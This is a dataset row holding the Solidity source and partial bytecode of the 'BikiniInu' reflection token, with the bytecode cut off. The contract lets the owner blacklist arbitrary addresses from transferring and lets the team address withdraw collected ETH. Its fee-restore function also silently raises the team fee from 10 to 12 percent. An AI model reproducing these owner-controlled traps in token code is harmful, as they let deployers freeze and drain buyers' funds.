address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x547abf55955437074fe17d731827980c27c65dc3
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ // SPDX-License-Identifier: Unlicensed // https://t.me/BikiniInu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Binu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BikiniInu"; string private constant _symbol = "Binu\xF0\x9F\x91\x99"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f42696b696e69496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f42696e75f09f9199000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b600080604083850312